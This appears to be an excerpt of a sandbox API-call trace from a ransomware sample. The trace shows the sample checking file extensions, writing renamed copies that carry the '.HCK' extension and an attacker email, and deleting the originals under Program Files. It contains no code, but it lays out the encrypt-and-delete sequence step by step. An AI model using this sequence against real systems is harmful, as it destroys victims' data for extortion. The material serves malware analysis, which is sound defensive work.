[0229.117] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0229.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0229.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0229.117] lstrlenW (lpString=".doc") returned 4 [0229.117] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0229.117] lstrlenW (lpString=".docx") returned 5 [0229.117] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0229.117] lstrlenW (lpString=".pdf") returned 4 [0229.117] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0229.117] lstrlenW (lpString=".xls") returned 4 [0229.117] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0229.117] lstrlenW (lpString=".xlsx") returned 5 [0229.117] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0229.117] lstrlenW (lpString=".ppt") returned 4 [0229.117] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0229.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0229.117] lstrlenW (lpString=".zip") returned 4 [0229.117] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0229.117] lstrlenW (lpString=".rar") returned 4 [0229.117] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0229.117] lstrlenW (lpString=".bz2") returned 4 [0229.117] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0229.117] lstrlenW (lpString=".7z") returned 3 [0229.117] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0229.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0229.117] lstrlenW (lpString=".dbf") returned 4 [0229.117] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0229.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0229.117] lstrlenW (lpString=".1cd") returned 4 [0229.117] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0229.117] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0229.117] lstrlenW (lpString=".jpg") returned 4 [0229.117] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0229.117] lstrcmpiW (lpString1=".jar", lpString2=".HCK") returned 1 [0229.117] lstrlenW (lpString="US_export_policy.jar") returned 20 [0229.117] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.118] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3026) returned 1 [0229.118] CloseHandle (hObject=0x534) returned 1 [0229.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0229.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.119] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0229.119] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.119] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.119] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0229.119] GetLastError () returned 0x0 [0229.119] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xbd2, lpOverlapped=0x0) returned 1 [0229.121] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xbe0, lpOverlapped=0x0) returned 1 [0229.122] ReadFile (in: hFile=0x534, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.122] WriteFile (in: hFile=0x544, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xfc, lpOverlapped=0x0) returned 1 [0229.122] SetEndOfFile (hFile=0x544) returned 1 [0229.122] CloseHandle (hObject=0x544) returned 1 [0229.122] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.122] SetEndOfFile (hFile=0x534) returned 1 [0229.422] CloseHandle (hObject=0x534) returned 1 [0229.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0229.605] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1 [0229.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0229.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0229.758] lstrlenW (lpString=".doc") returned 4 [0229.758] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0229.758] lstrlenW (lpString=".docx") returned 5 [0229.758] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0229.758] lstrlenW (lpString=".pdf") returned 4 [0229.758] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0229.758] lstrlenW (lpString=".xls") returned 4 [0229.758] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0229.758] lstrlenW (lpString=".xlsx") returned 5 [0229.758] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0229.758] lstrlenW (lpString=".ppt") returned 4 [0229.758] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0229.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0229.758] lstrlenW (lpString=".zip") returned 4 [0229.758] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0229.758] lstrlenW (lpString=".rar") returned 4 [0229.758] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0229.758] lstrlenW (lpString=".bz2") returned 4 [0229.758] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0229.758] lstrlenW (lpString=".7z") returned 3 [0229.758] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0229.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0229.758] lstrlenW (lpString=".dbf") returned 4 [0229.758] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0229.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0229.758] lstrlenW (lpString=".1cd") returned 4 [0229.758] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0229.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0229.759] lstrlenW (lpString=".jpg") returned 4 [0229.759] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0229.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0229.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0229.759] lstrlenW (lpString=".doc") returned 4 [0229.773] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0229.773] lstrlenW (lpString=".docx") returned 5 [0229.773] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0229.773] lstrlenW (lpString=".pdf") returned 4 [0229.773] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0229.773] lstrlenW (lpString=".xls") returned 4 [0229.773] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0229.773] lstrlenW (lpString=".xlsx") returned 5 [0229.773] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0229.773] lstrlenW (lpString=".ppt") returned 4 [0229.773] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0229.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0229.773] lstrlenW (lpString=".zip") returned 4 [0229.773] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0229.773] lstrlenW (lpString=".rar") returned 4 [0229.773] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0229.773] lstrlenW (lpString=".bz2") returned 4 [0229.773] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0229.773] lstrlenW (lpString=".7z") returned 3 [0229.773] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0229.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0229.773] lstrlenW (lpString=".dbf") returned 4 [0229.773] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0229.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0229.773] lstrlenW (lpString=".1cd") returned 4 [0229.773] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0229.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0229.773] lstrlenW (lpString=".jpg") returned 4 [0229.773] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0229.773] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0229.773] lstrlenW (lpString="EAST_01.MID") returned 11 [0229.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0229.889] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=6165) returned 1 [0229.889] CloseHandle (hObject=0x4d4) returned 1 [0229.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0x220 [0229.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0229.891] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.891] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0229.892] GetLastError () returned 0x0 [0229.892] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1815, lpOverlapped=0x0) returned 1 [0229.894] WriteFile (in: hFile=0x54c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1820, lpOverlapped=0x0) returned 1 [0229.895] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.895] WriteFile (in: hFile=0x54c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xea, lpOverlapped=0x0) returned 1 [0229.895] SetEndOfFile (hFile=0x54c) returned 1 [0229.895] CloseHandle (hObject=0x54c) returned 1 [0229.895] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.895] SetEndOfFile (hFile=0x4d4) returned 1 [0229.897] CloseHandle (hObject=0x4d4) returned 1 [0229.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 1 [0229.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0229.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0229.899] lstrlenW (lpString=".doc") returned 4 [0229.899] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.899] lstrlenW (lpString=".docx") returned 5 [0229.899] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.899] lstrlenW (lpString=".pdf") returned 4 [0229.899] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.899] lstrlenW (lpString=".xls") returned 4 [0229.899] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.899] lstrlenW (lpString=".xlsx") returned 5 [0229.899] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.899] lstrlenW (lpString=".ppt") returned 4 [0229.899] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0229.899] lstrlenW (lpString=".zip") returned 4 [0229.899] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.899] lstrlenW (lpString=".rar") returned 4 [0229.899] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.899] lstrlenW (lpString=".bz2") returned 4 [0229.899] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.899] lstrlenW (lpString=".7z") returned 3 [0229.899] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0229.899] lstrlenW (lpString=".dbf") returned 4 [0229.899] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0229.899] lstrlenW (lpString=".1cd") returned 4 [0229.899] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0229.900] lstrlenW (lpString=".jpg") returned 4 [0229.900] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0229.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0229.900] lstrlenW (lpString=".doc") returned 4 [0229.900] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.900] lstrlenW (lpString=".docx") returned 5 [0229.900] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.900] lstrlenW (lpString=".pdf") returned 4 [0229.900] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.900] lstrlenW (lpString=".xls") returned 4 [0229.900] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.900] lstrlenW (lpString=".xlsx") returned 5 [0229.900] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.900] lstrlenW (lpString=".ppt") returned 4 [0229.901] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0229.901] lstrlenW (lpString=".zip") returned 4 [0229.901] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.901] lstrlenW (lpString=".rar") returned 4 [0229.901] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.901] lstrlenW (lpString=".bz2") returned 4 [0229.901] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.901] lstrlenW (lpString=".7z") returned 3 [0229.901] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0229.901] lstrlenW (lpString=".dbf") returned 4 [0229.901] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0229.901] lstrlenW (lpString=".1cd") returned 4 [0229.901] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0229.901] lstrlenW (lpString=".jpg") returned 4 [0229.901] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.901] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0229.901] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0229.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0229.902] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=7567) returned 1 [0229.902] CloseHandle (hObject=0x4d4) returned 1 [0229.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220 [0229.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0229.903] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.903] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0229.904] GetLastError () returned 0x0 [0229.904] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0229.905] WriteFile (in: hFile=0x54c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1d90, lpOverlapped=0x0) returned 1 [0229.906] ReadFile (in: hFile=0x4d4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0229.906] WriteFile (in: hFile=0x54c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0229.906] SetEndOfFile (hFile=0x54c) returned 1 [0229.906] CloseHandle (hObject=0x54c) returned 1 [0229.906] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0229.906] SetEndOfFile (hFile=0x4d4) returned 1 [0229.908] CloseHandle (hObject=0x4d4) returned 1 [0229.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0229.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0229.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0229.910] lstrlenW (lpString=".doc") returned 4 [0229.910] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.910] lstrlenW (lpString=".docx") returned 5 [0229.910] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.910] lstrlenW (lpString=".pdf") returned 4 [0229.910] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.910] lstrlenW (lpString=".xls") returned 4 [0229.910] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.910] lstrlenW (lpString=".xlsx") returned 5 [0229.910] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0229.910] lstrlenW (lpString=".ppt") returned 4 [0229.910] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0229.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0229.910] lstrlenW (lpString=".zip") returned 4 [0229.910] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0229.910] lstrlenW (lpString=".rar") returned 4 [0229.910] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0229.910] lstrlenW (lpString=".bz2") returned 4 [0229.910] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0229.910] lstrlenW (lpString=".7z") returned 3 [0229.910] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0229.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0229.910] lstrlenW (lpString=".dbf") returned 4 [0229.910] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0229.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0229.910] lstrlenW (lpString=".1cd") returned 4 [0229.910] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0229.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0229.910] lstrlenW (lpString=".jpg") returned 4 [0229.910] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0229.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0229.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0229.910] lstrlenW (lpString=".doc") returned 4 [0229.910] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0229.910] lstrlenW (lpString=".docx") returned 5 [0229.910] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0229.910] lstrlenW (lpString=".pdf") returned 4 [0229.910] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0229.910] lstrlenW (lpString=".xls") returned 4 [0229.910] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0229.910] lstrlenW (lpString=".xlsx") returned 5 [0229.910] lstrcmpiW 